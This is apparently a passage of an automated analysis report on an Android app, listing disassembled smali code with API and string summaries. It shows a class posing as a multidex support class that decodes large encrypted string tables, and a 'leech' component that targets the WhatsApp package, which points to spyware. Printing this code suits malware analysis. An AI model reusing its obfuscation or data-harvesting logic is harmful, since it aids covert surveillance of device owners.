                                                                              98invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              100invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                                                                              101move-result-object v0
                                                                              102sput-object v0, LuAgent/commonsdk/statistics/proto/d;->d:Ljava/util/Map;
                                                                              103const-class v0, LuAgent/commonsdk/statistics/proto/d;
                                                                              105sget-object v1, LuAgent/commonsdk/statistics/proto/d;->d:Ljava/util/Map;
                                                                              107invoke-static {v0, v1}, LuAgent/commonsdk/proguard/x;->a(Ljava/lang/Class;Ljava/util/Map;)V
                                                                              108return-void
                                                                              APIs
                                                                              • java.util.HashMap.<init>
                                                                              • java.util.Map.put
                                                                              • java.util.Map.put
                                                                              • java.util.EnumMap.<init>
                                                                              • uAgent.commonsdk.statistics.proto.b$e.a:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.statistics.proto.b$e.b:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • java.util.Map.put
                                                                              • uAgent.commonsdk.statistics.proto.b$e.c:LuAgent/commonsdk/statistics/proto/b$e
                                                                              • java.util.Map.put
                                                                              • java.util.Collections.unmodifiableMap
                                                                              Strings
                                                                              • IdSnapshot
                                                                              • identity
                                                                              • ts
                                                                              • version
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x0
                                                                              1const/16 v8, 0xb
                                                                              2const/16 v7, 0xa
                                                                              3const/16 v6, 0x8
                                                                              4const/4 v5, 0x1
                                                                              5new-instance v0, LuAgent/commonsdk/proguard/ap;
                                                                              7const-string v1, "IdSnapshot"
                                                                              9invoke-direct {v0, v1}, LuAgent/commonsdk/proguard/ap;-><init>(Ljava/lang/String;)V
                                                                              10sput-object v0, LuAgent/commonsdk/statistics/proto/b;->f:LuAgent/commonsdk/proguard/ap;
                                                                              11new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              13const-string v1, "identity"
                                                                              15invoke-direct {v0, v1, v8, v5}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              16sput-object v0, LuAgent/commonsdk/statistics/proto/b;->g:LuAgent/commonsdk/proguard/af;
                                                                              17new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              19const-string v1, "ts"
                                                                              20const/4 v2, 0x2
                                                                              22invoke-direct {v0, v1, v7, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              23sput-object v0, LuAgent/commonsdk/statistics/proto/b;->h:LuAgent/commonsdk/proguard/af;
                                                                              24new-instance v0, LuAgent/commonsdk/proguard/af;
                                                                              26const-string v1, "version"
                                                                              27const/4 v2, 0x3
                                                                              29invoke-direct {v0, v1, v6, v2}, LuAgent/commonsdk/proguard/af;-><init>(Ljava/lang/String;BS)V
                                                                              30sput-object v0, LuAgent/commonsdk/statistics/proto/b;->i:LuAgent/commonsdk/proguard/af;
                                                                              31new-instance v0, Ljava/util/HashMap;
                                                                              33invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              34sput-object v0, LuAgent/commonsdk/statistics/proto/b;->j:Ljava/util/Map;
                                                                              36sget-object v0, LuAgent/commonsdk/statistics/proto/b;->j:Ljava/util/Map;
                                                                              37const-class v1, LuAgent/commonsdk/proguard/au;
                                                                              38new-instance v2, LuAgent/commonsdk/statistics/proto/b$b;
                                                                              40invoke-direct {v2, v3}, LuAgent/commonsdk/statistics/proto/b$b;-><init>(LuAgent/commonsdk/statistics/proto/b$1;)V
                                                                              42invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              44sget-object v0, LuAgent/commonsdk/statistics/proto/b;->j:Ljava/util/Map;
                                                                              45const-class v1, LuAgent/commonsdk/proguard/av;
                                                                              46new-instance v2, LuAgent/commonsdk/statistics/proto/b$d;
                                                                              48invoke-direct {v2, v3}, LuAgent/commonsdk/statistics/proto/b$d;-><init>(LuAgent/commonsdk/statistics/proto/b$1;)V
                                                                              50invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              51new-instance v0, Ljava/util/EnumMap;
                                                                              52const-class v1, LuAgent/commonsdk/statistics/proto/b$e;
                                                                              54invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                                                                              56sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->a:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              57new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              59const-string v3, "identity"
                                                                              60new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              62invoke-direct {v4, v8}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              64invoke-direct {v2, v3, v5, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              66invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              68sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->b:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              69new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              71const-string v3, "ts"
                                                                              72new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              74invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              76invoke-direct {v2, v3, v5, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              78invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              80sget-object v1, LuAgent/commonsdk/statistics/proto/b$e;->c:LuAgent/commonsdk/statistics/proto/b$e;
                                                                              81new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              83const-string v3, "version"
                                                                              84new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              86invoke-direct {v4, v6}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              88invoke-direct {v2, v3, v5, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              90invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              92invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                                                                              93move-result-object v0
                                                                              94sput-object v0, LuAgent/commonsdk/statistics/proto/b;->d:Ljava/util/Map;
                                                                              95const-class v0, LuAgent/commonsdk/statistics/proto/b;
                                                                              97sget-object v1, LuAgent/commonsdk/statistics/proto/b;->d:Ljava/util/Map;
                                                                              99invoke-static {v0, v1}, LuAgent/commonsdk/proguard/x;->a(Ljava/lang/Class;Ljava/util/Map;)V
                                                                              100return-void
                                                                              APIs
                                                                              • java.lang.Integer.parseInt
                                                                              • java.lang.Integer.parseInt
                                                                              • java.lang.String.toCharArray
                                                                              • java.lang.String.toCharArray
                                                                              Strings
                                                                              • \ue90e\ufa88\u1549\ucadf\u53bf\u77f0\u526e\u760e\u6521\uc831
                                                                              • \ue911\ufa8b\u154b\ucadd\u53be\u77fb\u5265\u7609\u652d\uc839\u35e9
                                                                              • \u4883\ua432\u23a7\u3d71\u0bec\u1226\u9155\u27f3\u5fe5\ua451\u4d4d\uc06c\ub46b\u4c8e\u240b\ucc48\uf871\u75d8\ud4be\u05ab\ucff2\u8d1a\u0471\u9b3d\u185f\ucc4e\uf508\u9bf3\u732e\u3a95\ue8df\u4e77\u9633\uc34a\u49eb\u93ee\u8bce\ua8d3\ucfc0\ub241\ube58\u6fd9\u7189\u1479\ua10f\u65d8\u6abf\u2a16\ue083\u8427\ub245\u8d34\u6dd4\u7d40\u4240\u4be9\u0ce7\u5790\u8e25\u9400\u5307\u53ba\u3ff5\ubf92\u1da3\ub394\u1a22\u261b\uc3ea\ue2a1\u7f1b\u6fbd\ubf93\u18d8\ua67f\u58d7\u5cbd\u44e3\u348b\u6b63\u4796\u7545\u16e7\udcdc\uc636\u466a\udc0d\u6f3c\u7ca2\u7d49\uf1cd\u0b63\u1182\uec65\udd12\u9a68\u67e3\u9fdf\ufe46\uc910\uaecb\uba6c\ua5b3\udbff\u3254\ua4a2\u5924\u0836\u50a0\u9ce4\u94d9\u796d\u7471%\ufb90\ud80c\u786a\u36bc\u6985\u4df3\u01eb\ua4f0\u0501\ucb9a\u33b0\u9871\u50de\u25d2\ud414\u8f28\u40f7\u0362\u98ec\u1711\u7844\uc8ba\uf96d\u1fd6\ub73c\ua37f\uf8eb\u13f3\u8631\u5dad\u8629\u392f\ufb0d\ued80\u161d\u90b5\u44c1\u5989\uc175\udccb\u9f40\ube05\u8f6f\uc172\u56e5\u4ac9\ud671\u5f39\uabef\u5d72\ua9e2\u7321\ub392\u13f7\ucfd9\u5716\u298f\u433a\ucc0f\u13c8\u2bb8\u029a\u0f1d\ua0f7\u08b2\uf2f2\uc15f\ue6d8\u6416\u8817\u0381\u7bcc\ue9b8\uea70\ucb9e\u06f4\uf174\u560e\ufa3b\uaccb\u6f72\u7d70\u415c\ufdf1\u9cfb\ub194\u48b3\u23aa\u57e6\u2ef5\ud420\u694a\ua137\u5ba3\ue86e\u8e63\u3916\ue233\u91f8\u98d9\ufa09\ubc09\uda0e\ue5d3\ua855\uc532\u48e7\ub3a3\ud02f\ub765\u8034\u3d4a\ua93b\u6ce7\u5b9d\u09c4\u64d9\ub0da\u8017\u3d5f\uc855\u792b\u827b\uf144\uca84\u1bda\uba70\u7a65\uc084\ucb30\ub281\u2223\u121f\u591a\u7156\u3d31\u5520\uefc8\u4c37\ub304\u3781\uf480\u7a5e\u9177\u2514\u0c09\uf26c\u21a0\u72fb\u11df\u71c6\u7b96\ub0b2\u5f13\u1e1f\u4956\ub5b8\u87b7\u0004\uaaf6\uf785\u7005\u9e22\u09d5\u202f\u56d6\u37da\uafb0\u1659\u218c\u63cb\u6f7f\u4be9\u6b42\u59b6\u9494\ue140\u3de7\u5af2\u6fe3\u7d9e\u28a0\u3acd\u80ab\ud49d\u413d\ua290\u80d3\u7e9e\uc9aa\ua707\uefc1\u8ed9\u1424\u1cec\ua48a\u18bf\u8942\ud2a9\u8e63\ue56c\u3bfe\ueb84\u93d5\u3ec7\u1520\u5c5d\u798d\uf519\ue5f2\u9ff3\u8c1f\uf516\u2509\u834e\u0521\u983b\u1a1f\ue172\udc37\u2186\uae49\u4ff3\u2e54\u6eae\u235d\ufa6d\u71de\ub6f6\ua641\ua2f9\u7084\u574d\u2643\ud0c3\u32e3\udff6\u0276\u4df4\u4b57\u5ef8\u20e2\u20e1\u30f6\u0af0\uc9a1\ue917\ucc44\ue7f8\ub423\u6aaa\ue70a\u33d0\ua2eb\u53e0\u353d\u30a1\u6722\u2b00\u7ead\u53c8\u571d\uaed4\u2b21\u604d\u0a90\u36ea\u5bcb\u7793\u2248\u15ea\u8a61\u3ce0\u937d\u573e\ua32f\u2782\udc76\ud887\ue61b\u62d6\u1112\u9463\ud6ef\ua8d3\u1d42\u72fb\udbff\u2cfa\uca95\u28fd\ua02d\ud6a2\u6e99\u9cce\u39ba\u55fb\u4133\u778c\u7a1a\uaf6c\udf17\u7df9\u1075\u9256\u423c\ue4aa\u9280\uad8e\u2168\u4323\u0adf\ued0c\u792d\ua059\u911f\u8275\ud218\ueb44\ucbed\ue8d0\u5cca\u049d\u62a5\u94e7\u2c92\u5daa\u156c\ueb81\u46bb\u40a5\u03b4\uae6a\ud2a3\u9123\u833d\u3e1b\u8421\u898e\u13aa\u0293\uea1a\u0999\u3104\ufb45\ud5fe\u6121\u81d6\uc459\uda33\u18fb\ucddc\u7085\u5f74\u745b\uf784\u7cc0\u6349\ufaa6\ua307\u79f5\ucf19\u0413\u147d\uda8c\udffd\u2099\u94de\u5821\u06dc\ub1f8\u7784\u0dcc\u61f4\u30b3\ue976\ua070\u9e09\u0706\ud6d8\u5f7f\ud62e\u61f9\u0ace\ubaeb\u3b8c\ud414\ubdc9\u110e\ue740\u16ae\u805c\ua7a8\ucadd\u419a\ubcdf\u866f\ud65f\ufb87\u108e\u5465\ubb60\uf713\u4bbe\u0d48\udb31\u2fb2\u4393\udc0b\ub3d4\u928b\uc242\ua182\u1e3d\ub975\u1958\u87c7\u7ea0\u337b\ub0bc\ua06f\u8faf\u125d\u0f06\u44c7\uab0a\u79e8\u08b3\ua221\ucd9c\u8c24\u561f\ua79f\u9d5f\ucd73\u9839\ud977\uda3c\ueb2e\u55a4\u3bae\ub496\u960d\u0649\u2d25\uc367\ud019\ub670\u8d1b\ue002\ubad0\ue949\ubcdf\uf2ed\u7ef4\u939c\uf512\u231e\udbea\u48ea\u5c68\uab7f\u8897\u7353\u72e7\u8da5\u7e49\u5856\ub838\uf26b\uac87\u8be4\u067b\u48e7\u8566\u465c\u3673\u99c4\u8df9\u099b\u3b6c\uffdc\ucf0c\u2578\u02d9\u6489\ubaf2\u9b80\uca0f\u72a8\uf6c9\u761f\uc08b\u6a95\u2c24\u1f7e\u59a8\u8a37\u2b52\ue218\u5b30\ua8c5\u342e\udc0b\ue87b\ubfc0\ue561\u107a\udfa0\u3802\u4cac\ubd9c\ucdf7\u59f2\u0b0b\uec22\ue758\u3bcf\u61cf\ue88e\u4f89\u3dc1\u9f70\ueb89\uad31\u0e03\u9567\u11ea\u5b1c\u1902\ua269\u3a3a\ub066\uf12a\u79ad\uc0ad\uc251\u10f0\ud530\ube7a\u6edc\ubd5e\u545e\uce25\u9c49\u66f7\u6327\u4c10\u0f91\u6b5f\u99d9\u7b6a\u6684\uea58\u9e36\u7291\u82a9\u518b\u8dcd\u79a5\u0f61\u1a5d\uf363\u38c4\u5242\u3a06\u9790\u23f5\u42ab\uad00\u26c1\u3f10\u38b9\uad45\u0403\u2fdb\ud590\ua0fe\ub0fd\u0c02\u3350\u4a60\ucadb\u2562\u2a1c\uee7d\u5ac1\u4d94\u9074\uf00e\uf5b5\ucfde\ue5bd\u6c06\uf55e\u3654\uea9b\ua465\u0304\uc093\u0f7b\u86af\u7186\uf5e1\uaa7c\u1259\u0a8d\u04f7\ud39e\u53a0\u1122\ue854\uef27\u9634\ua9cd\ud86d\u511a\u47ed\u6aae\u10c5\u58b8\u3fb4\u576c\u1c6a\ue26c\u1247\u6779\u6bb0\u4275\ue7e6\u6bcf\u319e\ude5e\u8756\ub16f\u2c9a\u58b3\ua255\u2682\u2d3c\u4052\u4e8d\udfdc\uc6d2\u95f1\u46f0\ubafa\u2f96\u67dc\u2ae4\u4ee5\ub8b3\u8003\u1d90\u94a9\uaad0\u04e9\u9c36\ufdcb\ub178\u457a\uc579\u31a6\u0ec1\ua942\ueb2a\u2893\u3733\uf4f1\u8529\u0cce\u3271\uc70d\ub2f9\u8fca\u343f\uad55\uab2b\u2723\u1631\u9ba1\u46db\u7bed\u4765\uee23\u84de\u957d\u0585\u6089\ueb73\u584a\ue9be\ua9f7\u2738\u46a7\u14c5\u99fe\uf53d\u3913\u7f05\u983f\u7255\u20f5\uf232\u7c22\u77b7\ub858\uf399\u7af6\u6795\ue3b4\u46f0\ued5e\u3277\ud70d\u2b84\ucef4\u66c5\ufa7f\u449a\uf7a4\ud068\ud72b\u708f\udf01\u0acf\uf385\uda74\u3e9a\u7499\uf634\u84c4\u2a47\u3e60\u8689\u11f9\uaab0\ud19d\u703a\u2c39\u4d72\ud1fb\ud6ec\u2c21\u30af\u42ba\ufc95\ue5ed\u57eb\u9eb1\u6dfa\ufbaf\ua7a1\u9fc8\u329c\u6823\u2f40\u5ddf\u2d76\ua307\ue579\uf942\ubde3\ud1e1\ub7e9\u6561\u5fb7\u485d\u24cd\ud365\ud965\u536f\u4c2b\ue90e\ua279\u6f2e\u839e\ud266\uf360\u647c\u476c\u8c93\ua082\u3414\ucd55\u374c\u7601\u12dc\ua899\u16e0\ud764\u3326\ud7f0\ub39f\u5031\u7a4f\u1dcf\uec4e\u6dfe\u3bbb\u8d23\u476f\u78d1\ufc65\u038d\u03af\ua129\u8cb6\u908a\u49b7\uc020\udaec\u496f\u4604\ub7e5\u16bd\u1668\ud44c\ucb65\u9aba\udb48\u9a3d\ud876\u1b8f\ub575\u0879\u7eee\u87ee\ud702\u2740\u64f6\ubc4f\u4b33\ua752\u4978\u86d3\ua9b1\u415e\u4e3d\uc9d9\ue1b2\u5045\uaae3\u07f4\u9a87\u460c\uad5b\u2272\u962b\u5398\u4b0c\u1805\u5246\u360f\u05e7\uf91a\udb99\u3a9f\u747a\u0c76\u8f4f\uf936\u062b\ua75a\u71c9\u9268\u1203\uc77e\ued69\ub8d8\u4cb9\ud705\u3dea\uf995\u767e\u365a\ua43b\u5492\uf2b0\u9902\uf48b\uc1b9\u6241\u3e90\u02f7\u290b\u10f8\u722c\uab93\udd75\ue543\udbb6\u22e7\uc2d4\u98ea\u9a21\u6842\ua6b6\u7f82\u7856\u15a1\u7cc8\u7bcf\ude96\u6ec2\uaf0b\ub4d8\u0d07\u3e2c\u9e61\ub9ca\uc19f\ubb4e\u1253\uced8\u20cf\u3857\ufb37\u2e83\u783c\u408b\u05fc\u09b3\ufb06\ua742\u640c\u4de4\ubcc4\ubfa5\uc03f\u3e14\uf87c\ua1bf\u01dc\u7413\u4588\uc7d0\u41a2\u814e\u8869\u06d1\u72dd
                                                                              • \ue935\ufa8b\u157f\ucac8\u5380\u7792\u525f\u7678\u6550\uc833\u3586\u3032\ue2bc\u52cb\u5931\ub6cd\u544b\uc494\u0145\u7247\u4a47\u6915\udc97\ucf43\u5e0b\ud03b\uc795\ufc4b\ufffb\ubfa3\u6553\ucb1a\u0cf2\uc3e5\u5630\uf5ff\u9352\u9d63\u4217\u9d79\ua9fb\uf9fb\uc779\u5e32\u0693\u46d4\uabb7\u3f07\u2d2b\uf14b\ude8eV\u1d45\u2839\ua79c\ua953\ud15a\u09b4\uee04\uc500\uf1d3\u94d4\uc48f\u0465\uecdf\ua779\u9e7c\u374d\u9945\u2460\u526d\uec09\u016f\ub1a2\ud94a\u3c68\u2d3f\u4b80\uc493\ud54e\ua24e\u309d\u8fd9\ub218\ua5e7\ubefa\u754a\ufa98\u80e6\u98fd\u9edf\udd9a\u4673\u8d45\ud8f0\udd7c\u40cd\u65ed\uaa2b\u6319\u2d9f\u3a7b\u9ef7\u46d0\u2eee\ufd69\uf4d2\ueabc\u8fa2\ueb87\u660b\u76fe\u4de8\u1c72\ud316\u8a53\ub0a1\u0165\u0e8a\u999b\u07d7\u4718\uf34d\u40f4\u4bc8\u3f03\u900c\u7fd8\udca2\uff2d\uf3bc\ue636\u1060\ueb2d\u4ae0\udff7\u2b44\ua789\uaa4d\u6543\ue879\ua077\u1552\u41c5\u8b0c\uf556\u4335\u3fd9\ud940\u1958\u4b94\u17f0\u1b4e\ud382\u3fe1\u5d5a\u26c1\u8166\uc9aa\ubd07\u1d08\u2236\u41f4\ua6a0\u0aea\ue498\uc653\u2c8a\uc39c\ue978\u703d\ud73a\ua29d\u0612\ua441\uff70\u315f\u1dd2\u29bd\ubdcd\u3e0e\u536a\ue0a1\u29ac\u788c\ud794\uda78\u057a\ue2b8\u3e16\u3129\uc428\uab20\u8330\ub705\u2ada\u0b41\u3f4d\ucb95\u74cf\u79c6\uc75e\u6ed0\u2288\u38f6\ub48a\u1a40\u417a\u5e6e\u5912\ub090\ued93\u74b8\u8fde\u02eb\uaabf\uc560\ubc5b\ucebf\ue976\ub1c9\u6cb0\ucf9d\uca74\u4d5b\u6193\u9668\ubc94\u978e\u75ae\ue177\u261c\u4c23\u3a86\uba83\u9b7c\u6a08\u25af\u7509\udd60\ue062\ub0a5\ud672\uf824\u31fb\u6df8\ufa36\u3e36\ued6c\uba59\u4aa4\u9908\u1a92\u11a4\u0e5c\u0627\u8762\u4d08\u4090\u28c7\u2c29\u6ba0\u05f9\u70c9\u3fc8\u3e0a\u9716\u924d\u1e2b\u31ee\u5a34\u8e20\u8d2c\u5c00\u53b4\uee64\u2280\ua64e\u8cff\ufb2a\u6b0f\uf9e4\u9a97\u741c\uffb7\u36a6\u0350\u19f7\u2f4e\uda50\u9d6c\u23a0\uf0e5\u169c\u798c\u859f\u0cff\u044e\u2e2b\u14a2\u2774\u8529\u4246\u81b3\u584e\u7f02\uf400\u6474\u56e8\u8287\u6ba9\u6a91\ua8cf\u49f0\u47e0\u392a\udfb0\u0c6d\u647d\uad9f\ua0ad\u84a2\u4c17\u3337\u82f0\u4280\u82ec\ufca4\u7b28\uc961\u1707\u6fb1\u6ec1\ufbf1\u5a67\u4e2f\ub07a\ubc8b\ua606\u29e9\ua5fb\u0e93\ud7b6\u0f99\udee3\ua932\ua749\ua294\u815f\u8428\u0008\u46c9\u407c\u1f92\u5c4b\ud777\ua359\u6380\uc1bb\u50ed\u6a6e\u8c8d\ueffc\ue3ea\u7874\u3543\u5105\ua455\u2524\ub452\u21bc\u59c1\ud1ba\uf2b3\ua1f0\u0e88\u09c7\u872f\u80ec\ub895\u9a5c\ud209\u86d8\u2e43\ua946\u1727\u1e75\uc7b8\uf502\ud584\u819a\u1ba2\u2eec\u7c29\u13eb\u1903\u045c\u784d\uc231\u1c5f\ubb39\u0c94\u1187\u4644\ueec2\u1b52\u3a5c\ubfdf\u9c76\u9fee\u9abd\u80ff\ub4fb\u0b76\u612a\ue7b7\u8615\u2282\u3db0\u8d57\u5970\ua0ae\ua213\u79a4\u5cb9\u8668\ua494\ucfe9\ue6a1\u1ea8\u40ef\ubfe5\u08b3\u818d\ufa45\udaa5\ue321\ucef9\u5f5e\u6472\ufa66\u1ff3\uf568\u0493\ub42a\uc0f5\u68c1\u3d1a\u8761\uca5d\u8ccb\u8650\u1453\u1fe5\u5984\u88ad\u1067\u414f\uf943\ucee2\u7b23\u952a\u9492\u0337\ub747\ua983\ub14a\u669c\u5fcd\u5c1a\u3ae8\u3142\ueefb\u6cc8\u1a2f\u4a5a\uc3d5\u7317\uf428\ude9e\u75f3\uf557\u0be8\u190c\u503e\u4b7a\u7dd5\u6b8f\u2371\ue426\u9209\ufdb1\u1e81\u7ee1\u93b3\u77ef\u748f\u2921\ueca6\ue83b\u033b\u8cf9\u7b35\u6811\ufbb1\u2963\u52a0\ue784\uadcb\ubd25\ue916\u19cc\u1d84\u6144\u7f19\u8791\uefd3\uaac8\u52d0\ua063\u97cd\u3b5c\ub108\u0c1f\ue3a0\u6f20\ucd7b\uc251
                                                                              Position Instruction Meta Information
                                                                              1const-string v0, "\ue90e\ufa88\u1549\ucadf\u53bf\u77f0\u526e\u760e\u6521\uc831"
                                                                              3invoke-static {v0}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              4move-result-object v0
                                                                              6invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              7move-result v0
                                                                              8sput v0, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->moH:I
                                                                              10const-string v0, "\ue911\ufa8b\u154b\ucadd\u53be\u77fb\u5265\u7609\u652d\uc839\u35e9"
                                                                              12invoke-static {v0}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              13move-result-object v0
                                                                              15invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              16move-result v0
                                                                              17sput v0, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->cIq:I
                                                                              18const/16 v0, 0x210
                                                                              19new-array v1, v0, [Ljava/lang/Object;
                                                                              20sput-object v1, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->guj:[Ljava/lang/Object;
                                                                              21const/16 v1, 0x60
                                                                              22new-array v1, v1, [Ljava/lang/Class;
                                                                              23sput-object v1, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->zrzy:[Ljava/lang/Class;
                                                                              24new-array v1, v0, [I
                                                                              25sput-object v1, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->JAu:[I
                                                                              27const-string v1, "\u4883\ua432\u23a7\u3d71\u0bec\u1226\u9155\u27f3\u5fe5\ua451\u4d4d\uc06c\ub46b\u4c8e\u240b\ucc48\uf871\u75d8\ud4be\u05ab\ucff2\u8d1a\u0471\u9b3d\u185f\ucc4e\uf508\u9bf3\u732e\u3a95\ue8df\u4e77\u9633\uc34a\u49eb\u93ee\u8bce\ua8d3\ucfc0\ub241\ube58\u6fd9\u7189\u1479\ua10f\u65d8\u6abf\u2a16\ue083\u8427\ub245\u8d34\u6dd4\u7d40\u4240\u4be9\u0ce7\u5790\u8e25\u9400\u5307\u53ba\u3ff5\ubf92\u1da3\ub394\u1a22\u261b\uc3ea\ue2a1\u7f1b\u6fbd\ubf93\u18d8\ua67f\u58d7\u5cbd\u44e3\u348b\u6b63\u4796\u7545\u16e7\udcdc\uc636\u466a\udc0d\u6f3c\u7ca2\u7d49\uf1cd\u0b63\u1182\uec65\udd12\u9a68\u67e3\u9fdf\ufe46\uc910\uaecb\uba6c\ua5b3\udbff\u3254\ua4a2\u5924\u0836\u50a0\u9ce4\u94d9\u796d\u7471%\ufb90\ud80c\u786a\u36bc\u6985\u4df3\u01eb\ua4f0\u0501\ucb9a\u33b0\u9871\u50de\u25d2\ud414\u8f28\u40f7\u0362\u98ec\u1711\u7844\uc8ba\uf96d\u1fd6\ub73c\ua37f\uf8eb\u13f3\u8631\u5dad\u8629\u392f\ufb0d\ued80\u161d\u90b5\u44c1\u5989\uc175\udccb\u9f40\ube05\u8f6f\uc172\u56e5\u4ac9\ud671\u5f39\uabef\u5d72\ua9e2\u7321\ub392\u13f7\uc
                                                                              29invoke-static {v1}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              30move-result-object v1
                                                                              32invoke-virtual {v1}, Ljava/lang/String;->toCharArray()[C
                                                                              33move-result-object v1
                                                                              34const/4 v2, 0x0
                                                                              35const/4 v3, 0x0
                                                                              36goto_34: if-ge v3, v0, :cond_48
                                                                              38sget-object v4, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->JAu:[I
                                                                              39mul-int/lit8 v5, v3, 0x2
                                                                              40aget-char v6, v1, v5
                                                                              41add-int/lit8 v5, v5, 0x1
                                                                              42aget-char v5, v1, v5
                                                                              43shl-int/lit8 v5, v5, 0x10
                                                                              44or-int/2addr v5, v6
                                                                              45aput v5, v4, v3
                                                                              46add-int/lit8 v3, v3, 0x1
                                                                              47goto/16 :goto_34
                                                                              48cond_48: new-array v1, v0, [S
                                                                              49sput-object v1, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->fs:[S
                                                                              51const-string v1, "\ue935\ufa8b\u157f\ucac8\u5380\u7792\u525f\u7678\u6550\uc833\u3586\u3032\ue2bc\u52cb\u5931\ub6cd\u544b\uc494\u0145\u7247\u4a47\u6915\udc97\ucf43\u5e0b\ud03b\uc795\ufc4b\ufffb\ubfa3\u6553\ucb1a\u0cf2\uc3e5\u5630\uf5ff\u9352\u9d63\u4217\u9d79\ua9fb\uf9fb\uc779\u5e32\u0693\u46d4\uabb7\u3f07\u2d2b\uf14b\ude8eV\u1d45\u2839\ua79c\ua953\ud15a\u09b4\uee04\uc500\uf1d3\u94d4\uc48f\u0465\uecdf\ua779\u9e7c\u374d\u9945\u2460\u526d\uec09\u016f\ub1a2\ud94a\u3c68\u2d3f\u4b80\uc493\ud54e\ua24e\u309d\u8fd9\ub218\ua5e7\ubefa\u754a\ufa98\u80e6\u98fd\u9edf\udd9a\u4673\u8d45\ud8f0\udd7c\u40cd\u65ed\uaa2b\u6319\u2d9f\u3a7b\u9ef7\u46d0\u2eee\ufd69\uf4d2\ueabc\u8fa2\ueb87\u660b\u76fe\u4de8\u1c72\ud316\u8a53\ub0a1\u0165\u0e8a\u999b\u07d7\u4718\uf34d\u40f4\u4bc8\u3f03\u900c\u7fd8\udca2\uff2d\uf3bc\ue636\u1060\ueb2d\u4ae0\udff7\u2b44\ua789\uaa4d\u6543\ue879\ua077\u1552\u41c5\u8b0c\uf556\u4335\u3fd9\ud940\u1958\u4b94\u17f0\u1b4e\ud382\u3fe1\u5d5a\u26c1\u8166\uc9aa\ubd07\u1d08\u2236\u41f4\ua6a0\u0aea\ue498\uc653\u2c8a\uc
                                                                              53invoke-static {v1}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              54move-result-object v1
                                                                              56invoke-virtual {v1}, Ljava/lang/String;->toCharArray()[C
                                                                              57move-result-object v1
                                                                              58goto_56: if-ge v2, v0, :cond_62
                                                                              60sget-object v3, Lcom/android/support/multidex/Application$MultiDexVersion$VN24;->fs:[S
                                                                              61aget-char v4, v1, v2
                                                                              62int-to-short v4, v4
                                                                              63aput-short v4, v3, v2
                                                                              64add-int/lit8 v2, v2, 0x1
                                                                              65goto/16 :goto_56
                                                                              66cond_62: return-void
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • com.whatsapp
                                                                              • Core
                                                                              • version
                                                                              • version:
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0:
                                                                              2invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              3move-result-object v2
                                                                              5const-string v3, "com.whatsapp"
